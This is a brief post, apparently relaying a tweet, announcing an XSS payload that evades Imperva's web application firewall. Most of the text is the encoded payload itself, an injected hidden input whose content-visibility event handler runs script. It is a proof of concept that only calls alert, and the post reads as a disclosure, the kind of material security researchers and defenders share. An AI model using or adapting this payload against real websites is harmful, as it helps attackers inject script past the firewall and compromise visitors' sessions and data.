A new XSS bypass payload has been discovered for Imperva WAF. The payload is xss"><input%20type=hidden%20oncontentvisibilityautostatechange=alert?.%26lpar;)%20style=content-visibility:auto> and can evade Imperva WAF protections. More details can be found in the tweet: https://t.co/lrFSOJPkzT